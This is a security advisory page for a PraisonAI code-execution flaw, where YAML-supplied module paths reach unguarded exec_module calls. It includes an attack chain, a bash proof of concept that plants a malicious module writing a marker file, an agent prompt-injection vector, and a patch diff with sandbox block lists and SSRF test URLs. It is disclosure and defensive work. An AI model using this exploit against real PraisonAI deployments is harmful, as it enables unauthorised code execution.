VYPR
High severityGHSA Advisory· Published May 29, 2026· Updated May 29, 2026

PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334

CVE-2026-47398

Description

Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass) Summary The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. Patch lineage

CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched. Vulnerable code # praisonai/agents_generator.py (master HEAD; v4.6.37)

336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate

372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True). Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector) HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call. PoC #!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail

WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF

# 2. agents.yaml that references it cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF

# 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "

# 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi

Impact Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account. Severity High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) CWE

CWE-94: Improper Control of Generation of Code ('Code Injection') CWE-426: Untrusted Search Path CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD). Suggested fix Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py: import os

def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths. Credit Kai Aizen & Avraham Shemesh / SnailSploit## Arbitrary code execution via ungated

spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, **two additional spec.loader.exec_module call sites** in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

| CVE | GHSA | Fixed in | What was patched | | --- | --- | --- | --- | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py | | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py | | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py | | This finding | — | unfixed | Missed sinks in agents_generator.py |

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

  1. Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
  2. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
  3. Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github://"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-426: Untrusted Search Path
  • CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Ungated exec_module calls in agents_generator.py allow arbitrary code execution via YAML config in PraisonAI versions before 4.6.38.

Vulnerability

In praisonai/agents_generator.py, two functions load_tools_from_module and load_tools_from_module_class call spec.loader.exec_module on a module_path derived from YAML configuration without checking the PRAISONAI_ALLOW_LOCAL_TOOLS environment variable gate [1][2]. This affects all versions up to and including v4.6.37 (master). The functions were missed during the v4.6.32 chokepoint refactor that patched CVE-2026-44334 [1].

Exploitation

An attacker can supply a malicious module_path through YAML agent configuration, such as a shared writable configuration directory, a remote recipe fetch via POST /v1/recipes/run with allow_any_github=True, or an LLM prompt injection [1][2]. The module is executed when the agent tool is loaded, requiring no authentication if the configuration source is controllable.

Impact

Successful exploitation results in arbitrary code execution in the context of the PraisonAI application [1][2]. The attacker can achieve full compromise of confidentiality, integrity, and availability, potentially leading to system takeover.

Mitigation

No patch is currently available; as of v4.6.37 the vulnerability remains unaddressed [1][2]. The advisory recommends implementing the PRAISONAI_ALLOW_LOCAL_TOOLS gate or validating module_path against an allowlist. Until a fix is released, users should restrict access to YAML configuration sources and avoid loading untrusted tool definitions.

AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
PraisonAIPyPI
< 4.6.404.6.40

Affected products

2
  • Praison/PraisonaiGHSA2 versions
    <= 4.6.39+ 1 more
    • (no CPE)range: <= 4.6.39
    • (no CPE)range: >=2.0.0, <=4.6.37

Patches

13
179cab02dbec

refactor: harden input validation and access controls

https://github.com/MervinPraison/PraisonAIpraisonMay 19, 2026Fixed in 4.6.40via llm-release-walk
19 files changed · +425 100
  • .github/workflows/claude.yml+5 2 modified
    @@ -181,12 +181,15 @@ jobs:
     
           - name: Fetch PR branch and Setup Remote
             if: github.event.issue.pull_request
    +        env:
    +          PR_BRANCH: ${{ steps.check_fork.outputs.pr_branch }}
    +          IS_FORK: ${{ steps.check_fork.outputs.is_fork }}
             run: |
               # Fetch PR head from base repo and put it into local branch
    -          git fetch origin pull/${{ github.event.issue.number }}/head:${{ steps.check_fork.outputs.pr_branch }}
    +          git fetch origin pull/${{ github.event.issue.number }}/head:"${PR_BRANCH}"
               
               # If it's a fork, make origin point to local to trick claude-code-action's `git fetch origin <branch>`
    -          if [ "${{ steps.check_fork.outputs.is_fork }}" == "true" ]; then
    +          if [ "${IS_FORK}" = "true" ]; then
                 git remote set-url origin file://$(pwd)
               fi
     
    
  • src/praisonai-agents/praisonaiagents/tools/mentions.py+5 0 modified
    @@ -268,6 +268,11 @@ def _process_rule_mention(self, rule_name: str) -> Optional[str]:
         def _process_url_mention(self, url: str) -> Optional[str]:
             """Process @url:https://... mention."""
             try:
    +            from praisonaiagents.tools.spider_tools import SpiderTools
    +
    +            if not SpiderTools()._validate_url(url):
    +                return f"# URL: {url}\n[Blocked: URL is not allowed]"
    +
                 import urllib.request
                 
                 req = urllib.request.Request(
    
  • src/praisonai-agents/praisonaiagents/tools/python_tools.py+55 48 modified
    @@ -36,6 +36,30 @@ def _safe_getattr(obj, name, *default):
         return getattr(obj, name, *default) if default else getattr(obj, name)
     
     
    +_SANDBOX_BLOCKED_ATTRS = frozenset({
    +    '__subclasses__', '__bases__', '__mro__', '__globals__',
    +    '__code__', '__class__', '__dict__', '__builtins__',
    +    '__import__', '__loader__', '__spec__', '__init_subclass__',
    +    '__set_name__', '__reduce__', '__reduce_ex__',
    +    '__traceback__', '__qualname__', '__module__',
    +    '__wrapped__', '__closure__', '__annotations__',
    +    '__self__',  # C builtins leak real builtins module (GHSA-4mr5-g6f9-cfrh)
    +    # Frame/code object introspection
    +    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
    +    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',
    +    'f_globals', 'f_locals', 'f_builtins', 'f_code',
    +    'co_consts', 'co_names',
    +    '__getattribute__', '__getattr__', '__setattr__', '__delattr__',
    +    '__dir__', '__get__', '__set__', '__delete__',
    +})
    +
    +_SANDBOX_BLOCKED_CALLS = frozenset({
    +    'exec', 'eval', 'compile', '__import__',
    +    'open', 'input', 'breakpoint',
    +    'setattr', 'delattr', 'dir', 'vars',
    +})
    +
    +
     def _validate_code_ast(code: str):
         """Validate code using AST — catches attacks that bypass text checks.
     
    @@ -48,52 +72,33 @@ def _validate_code_ast(code: str):
         except SyntaxError:
             return None  # let compile() handle syntax errors later
     
    -    # Dangerous dunder attributes attackers use for sandbox escape
    -    _blocked_attrs = frozenset({
    -        '__subclasses__', '__bases__', '__mro__', '__globals__',
    -        '__code__', '__class__', '__dict__', '__builtins__',
    -        '__import__', '__loader__', '__spec__', '__init_subclass__',
    -        '__set_name__', '__reduce__', '__reduce_ex__',
    -        '__traceback__', '__qualname__', '__module__',
    -        '__wrapped__', '__closure__', '__annotations__',
    -        # Frame/code object introspection
    -        'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
    -        'ag_frame', 'ag_code', 'tb_frame', 'tb_next',
    -        'f_globals', 'f_locals', 'f_builtins', 'f_code',
    -        'co_consts', 'co_names',
    -        '__getattribute__', '__getattr__', '__setattr__', '__delattr__',
    -        '__dir__', '__get__', '__set__', '__delete__',
    -    })
    -
         for node in ast.walk(tree):
             # Block import statements
             if isinstance(node, (ast.Import, ast.ImportFrom)):
                 return f"Import statements are not allowed"
     
             # Block attribute access to dangerous dunders
             if isinstance(node, ast.Attribute):
    -            if node.attr in _blocked_attrs:
    +            if node.attr in _SANDBOX_BLOCKED_ATTRS:
                     return (
                         f"Access to attribute '{node.attr}' is restricted"
                     )
     
    -        # Block calls to dangerous builtins by name
    +        # Block calls to dangerous builtins (bare name or attribute access)
             if isinstance(node, ast.Call):
                 func = node.func
    -            if isinstance(func, ast.Name) and func.id in (
    -                'exec', 'eval', 'compile', '__import__',
    -                'open', 'input', 'breakpoint',
    -                'setattr', 'delattr', 'dir',
    -            ):
    +            if isinstance(func, ast.Name) and func.id in _SANDBOX_BLOCKED_CALLS:
                     return f"Call to '{func.id}' is not allowed"
    +            if isinstance(func, ast.Attribute) and func.attr in _SANDBOX_BLOCKED_CALLS:
    +                return f"Call to '{func.attr}' is not allowed"
                     
             # Block dangerous constants (strings containing dunders)
             # Fallback for Python 3.7 ast.Str
             if isinstance(node, ast.Constant) and isinstance(node.value, str):
    -            if any(attr in node.value for attr in _blocked_attrs):
    +            if any(attr in node.value for attr in _SANDBOX_BLOCKED_ATTRS):
                     return f"String constant contains restricted attribute name"
             elif type(node).__name__ == 'Str':
    -            if any(attr in getattr(node, 's', '') for attr in _blocked_attrs):
    +            if any(attr in getattr(node, 's', '') for attr in _SANDBOX_BLOCKED_ATTRS):
                     return f"String constant contains restricted attribute name"
     
         return None
    @@ -112,7 +117,16 @@ def _execute_code_sandboxed(
         """
         if limits is None:
             limits = ResourceLimits.minimal()
    -    
    +
    +    ast_error = _validate_code_ast(code)
    +    if ast_error:
    +        return {
    +            'result': None,
    +            'stdout': '',
    +            'stderr': f'Security Error: {ast_error}',
    +            'success': False,
    +        }
    +
         try:
             # Create temporary file for the code
             with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
    @@ -151,21 +165,8 @@ def safe_execute():
                 }}
             
             # Block dangerous patterns
    -        blocked_attrs = {{
    -            '__subclasses__', '__bases__', '__mro__', '__globals__',
    -            '__code__', '__class__', '__dict__', '__builtins__',
    -            '__import__', '__loader__', '__spec__', '__init_subclass__',
    -            '__set_name__', '__reduce__', '__reduce_ex__',
    -            '__traceback__', '__qualname__', '__module__',
    -            '__wrapped__', '__closure__', '__annotations__',
    -            # Frame/code object introspection
    -            'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
    -            'ag_frame', 'ag_code', 'tb_frame', 'tb_next',
    -            'f_globals', 'f_locals', 'f_builtins', 'f_code',
    -            'co_consts', 'co_names',
    -            '__getattribute__', '__getattr__', '__setattr__', '__delattr__',
    -            '__dir__', '__get__', '__set__', '__delete__',
    -        }}
    +        blocked_attrs = {set(_SANDBOX_BLOCKED_ATTRS)!r}
    +        blocked_calls = {set(_SANDBOX_BLOCKED_CALLS)!r}
             
             for node in ast.walk(tree):
                 if isinstance(node, (ast.Import, ast.ImportFrom)):
    @@ -182,14 +183,20 @@ def safe_execute():
                         "stderr": f"Access to attribute '{{node.attr}}' is restricted",
                         "success": False
                     }}
    -            if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
    -                if node.func.id in ('exec', 'eval', 'compile', '__import__',
    -                                     'open', 'input', 'breakpoint',
    -                                     'setattr', 'delattr', 'dir'):
    +            if isinstance(node, ast.Call):
    +                func = node.func
    +                if isinstance(func, ast.Name) and func.id in blocked_calls:
    +                    return {{
    +                        "result": None,
    +                        "stdout": "",
    +                        "stderr": f"Call to '{{func.id}}' is not allowed",
    +                        "success": False
    +                    }}
    +                if isinstance(func, ast.Attribute) and func.attr in blocked_calls:
                         return {{
                             "result": None,
                             "stdout": "",
    -                        "stderr": f"Call to '{{node.func.id}}' is not allowed",
    +                        "stderr": f"Call to '{{func.attr}}' is not allowed",
                             "success": False
                         }}
                 if isinstance(node, ast.Constant) and isinstance(node.value, str):
    @@ -481,7 +488,7 @@ def _execute_code_direct(
                 '__import__', 'import ', 'from ', 'exec', 'eval',
                 'compile', 'open(', 'file(', 'input(', 'raw_input',
                 '__subclasses__', '__bases__', '__globals__', '__code__',
    -            '__class__', 'globals(', 'locals(', 'vars('
    +            '__class__', '__self__', 'globals(', 'locals(', 'vars('
             ]
     
             code_lower = code.lower()
    
  • src/praisonai-agents/praisonaiagents/tools/spider_tools.py+46 24 modified
    @@ -11,6 +11,8 @@
     """
     
     import logging
    +import ipaddress
    +import socket
     from typing import List, Dict, Union, Optional, Any
     from importlib import util
     import json
    @@ -20,6 +22,48 @@
     import hashlib
     import time
     
    +
    +def _host_is_blocked(hostname: str) -> bool:
    +    """Return True when hostname resolves to loopback/private/internal targets."""
    +    if not hostname:
    +        return True
    +    host = hostname.lower().rstrip(".")
    +    if host in ("localhost", "0.0.0.0", "::1") or host.endswith(".localhost"):
    +        return True
    +    if host in ("169.254.169.254", "metadata.google.internal"):
    +        return True
    +    if any(host.endswith(suffix) for suffix in (".local", ".internal", ".localdomain")):
    +        return True
    +
    +    def _ip_blocked(ip: ipaddress._BaseAddress) -> bool:
    +        return bool(
    +            ip.is_private or ip.is_loopback or ip.is_reserved or ip.is_link_local
    +        )
    +
    +    if host.isdigit():
    +        try:
    +            return _ip_blocked(ipaddress.ip_address(int(host)))
    +        except (ValueError, OverflowError):
    +            return True
    +
    +    if host.startswith("0x"):
    +        try:
    +            return _ip_blocked(ipaddress.ip_address(int(host, 16)))
    +        except (ValueError, OverflowError):
    +            return True
    +
    +    try:
    +        return _ip_blocked(ipaddress.ip_address(host))
    +    except ValueError:
    +        pass
    +
    +    try:
    +        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))
    +    except OSError:
    +        pass
    +
    +    return False
    +
     class SpiderTools:
         """Tools for web scraping and crawling."""
         
    @@ -59,31 +103,9 @@ def _validate_url(self, url: str) -> bool:
                 if not parsed.hostname:
                     return False
                 
    -            # Reject local/internal addresses
    -            hostname = parsed.hostname.lower()
    -            
    -            # Block localhost and loopback
    -            if hostname in ['localhost', '127.0.0.1', '0.0.0.0', '::1']:
    -                return False
    -            
    -            # Block private IP ranges
    -            import ipaddress
    -            try:
    -                ip = ipaddress.ip_address(hostname)
    -                if ip.is_private or ip.is_reserved or ip.is_loopback or ip.is_link_local:
    -                    return False
    -            except ValueError:
    -                # Not an IP address, continue with domain validation
    -                pass
    -            
    -            # Block common internal domains
    -            if any(hostname.endswith(domain) for domain in ['.local', '.internal', '.localdomain']):
    -                return False
    -            
    -            # Block metadata service endpoints
    -            if hostname in ['169.254.169.254', 'metadata.google.internal']:
    +            if _host_is_blocked(parsed.hostname):
                     return False
    -            
    +
                 return True
                 
             except Exception:
    
  • src/praisonai-agents/tests/unit/tools/test_mentions_url_ssrf.py+10 0 added
    @@ -0,0 +1,10 @@
    +"""@url mentions must not fetch loopback targets."""
    +
    +from praisonaiagents.tools.mentions import MentionsParser
    +
    +
    +def test_url_mention_blocks_loopback():
    +    parser = MentionsParser()
    +    result = parser._process_url_mention("http://127.0.0.1:8765/")
    +    assert result is not None
    +    assert "Blocked" in result
    
  • src/praisonai-agents/tests/unit/tools/test_python_tools_sandbox.py+16 0 modified
    @@ -112,6 +112,22 @@ def test_dunder_import_blocked(self, sandbox):
             result = sandbox.run("__import__('os')")
             assert result["success"] is False
     
    +    def test_print_self_blocked(self, sandbox):
    +        """print.__self__ leaks real builtins module (GHSA-4mr5-g6f9-cfrh)."""
    +        result = sandbox.run("b = print.__self__")
    +        assert result["success"] is False
    +        assert "restricted" in result["stderr"].lower()
    +
    +    def test_vars_call_blocked(self, sandbox):
    +        """vars() can expose builtins.__dict__ after __self__ leak."""
    +        result = sandbox.run("vars({})")
    +        assert result["success"] is False
    +
    +    def test_attribute_dunder_call_blocked(self, sandbox):
    +        """Attribute calls bypass bare-name Call checks."""
    +        result = sandbox.run("(1).__class__.__mro__")
    +        assert result["success"] is False
    +
     
     # ── Legitimate Code (all must PASS) ─────────────────────────────────────────
     
    
  • src/praisonai-agents/tests/unit/tools/test_spider_url_validation.py+10 0 modified
    @@ -38,6 +38,16 @@ def test_still_blocks_loopback():
         assert spider._validate_url("http://localhost/") is False
     
     
    +def test_blocks_alternate_loopback_encodings():
    +    """GHSA-5c6w-wwfq-7qqm: non-canonical loopback host forms."""
    +    spider = SpiderTools()
    +    assert spider._validate_url("http://localhost.:8765/") is False
    +    assert spider._validate_url("http://127.1:8765/") is False
    +    assert spider._validate_url("http://0177.0.0.1:8765/") is False
    +    assert spider._validate_url("http://0x7f000001:8765/") is False
    +    assert spider._validate_url("http://2130706433:8765/") is False
    +
    +
     def test_rejects_non_string_input():
         spider = SpiderTools()
         assert spider._validate_url(None) is False  # type: ignore[arg-type]
    
  • src/praisonai-platform/praisonai_platform/api/deps.py+36 0 modified
    @@ -71,3 +71,39 @@ async def require_workspace_member(
             )
         user.workspace_id = workspace_id
         return user
    +
    +
    +async def require_workspace_admin(
    +    workspace_id: str,
    +    user: AuthIdentity = Depends(get_current_user),
    +    session: AsyncSession = Depends(get_db),
    +) -> AuthIdentity:
    +    """Require admin or owner role in the workspace."""
    +    return await require_workspace_member(
    +        workspace_id, user, session, min_role="admin"
    +    )
    +
    +
    +async def require_workspace_owner(
    +    workspace_id: str,
    +    user: AuthIdentity = Depends(get_current_user),
    +    session: AsyncSession = Depends(get_db),
    +) -> AuthIdentity:
    +    """Require owner role in the workspace."""
    +    return await require_workspace_member(
    +        workspace_id, user, session, min_role="owner"
    +    )
    +
    +
    +def ensure_resource_in_workspace(
    +    resource_workspace_id: str | None,
    +    workspace_id: str,
    +    *,
    +    label: str = "Resource",
    +) -> None:
    +    """Reject cross-workspace access (IDOR) with a generic 404."""
    +    if resource_workspace_id != workspace_id:
    +        raise HTTPException(
    +            status_code=status.HTTP_404_NOT_FOUND,
    +            detail=f"{label} not found",
    +        )
    
  • src/praisonai-platform/praisonai_platform/api/routes/agents.py+7 1 modified
    @@ -9,7 +9,7 @@
     
     from praisonaiagents.auth import AuthIdentity
     
    -from ..deps import get_db, require_workspace_member
    +from ..deps import ensure_resource_in_workspace, get_db, require_workspace_member
     from ..schemas import AgentCreate, AgentResponse, AgentUpdate
     from ...services.agent_service import AgentService
     
    @@ -61,6 +61,7 @@ async def get_agent(
         agent = await svc.get(agent_id)
         if agent is None:
             raise HTTPException(status_code=404, detail="Agent not found")
    +    ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent")
         return AgentResponse.model_validate(agent)
     
     
    @@ -84,6 +85,7 @@ async def update_agent(
         )
         if agent is None:
             raise HTTPException(status_code=404, detail="Agent not found")
    +    ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent")
         return AgentResponse.model_validate(agent)
     
     
    @@ -95,6 +97,10 @@ async def delete_agent(
         session: AsyncSession = Depends(get_db),
     ):
         svc = AgentService(session)
    +    agent = await svc.get(agent_id)
    +    if agent is None:
    +        raise HTTPException(status_code=404, detail="Agent not found")
    +    ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent")
         deleted = await svc.delete(agent_id)
         if not deleted:
             raise HTTPException(status_code=404, detail="Agent not found")
    
  • src/praisonai-platform/praisonai_platform/api/routes/issues.py+17 1 modified
    @@ -9,7 +9,7 @@
     
     from praisonaiagents.auth import AuthIdentity
     
    -from ..deps import get_db, require_workspace_member
    +from ..deps import ensure_resource_in_workspace, get_db, require_workspace_member
     from ..schemas import (
         CommentCreate,
         CommentResponse,
    @@ -90,6 +90,7 @@ async def get_issue(
         issue = await svc.get(issue_id)
         if issue is None:
             raise HTTPException(status_code=404, detail="Issue not found")
    +    ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue")
         return IssueResponse.model_validate(issue)
     
     
    @@ -114,6 +115,7 @@ async def update_issue(
         )
         if issue is None:
             raise HTTPException(status_code=404, detail="Issue not found")
    +    ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue")
         act_svc = ActivityService(session)
         await act_svc.log(
             workspace_id, "issue.updated", "issue", issue.id,
    @@ -132,6 +134,10 @@ async def delete_issue(
         session: AsyncSession = Depends(get_db),
     ):
         svc = IssueService(session)
    +    issue = await svc.get(issue_id)
    +    if issue is None:
    +        raise HTTPException(status_code=404, detail="Issue not found")
    +    ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue")
         deleted = await svc.delete(issue_id)
         if not deleted:
             raise HTTPException(status_code=404, detail="Issue not found")
    @@ -148,6 +154,11 @@ async def add_comment(
         user: AuthIdentity = Depends(require_workspace_member),
         session: AsyncSession = Depends(get_db),
     ):
    +    issue_svc = IssueService(session)
    +    issue = await issue_svc.get(issue_id)
    +    if issue is None:
    +        raise HTTPException(status_code=404, detail="Issue not found")
    +    ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue")
         svc = CommentService(session)
         comment = await svc.create(
             issue_id=issue_id,
    @@ -166,6 +177,11 @@ async def list_comments(
         user: AuthIdentity = Depends(require_workspace_member),
         session: AsyncSession = Depends(get_db),
     ):
    +    issue_svc = IssueService(session)
    +    issue = await issue_svc.get(issue_id)
    +    if issue is None:
    +        raise HTTPException(status_code=404, detail="Issue not found")
    +    ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue")
         svc = CommentService(session)
         comments = await svc.list_for_issue(issue_id)
         return [CommentResponse.model_validate(c) for c in comments]
    
  • src/praisonai-platform/praisonai_platform/api/routes/workspaces.py+55 6 modified
    @@ -9,7 +9,13 @@
     
     from praisonaiagents.auth import AuthIdentity
     
    -from ..deps import get_current_user, get_db, require_workspace_member
    +from ..deps import (
    +    get_current_user,
    +    get_db,
    +    require_workspace_admin,
    +    require_workspace_member,
    +    require_workspace_owner,
    +)
     from ..schemas import (
         MemberAdd,
         MemberResponse,
    @@ -64,7 +70,7 @@ async def get_workspace(
     async def update_workspace(
         workspace_id: str,
         body: WorkspaceUpdate,
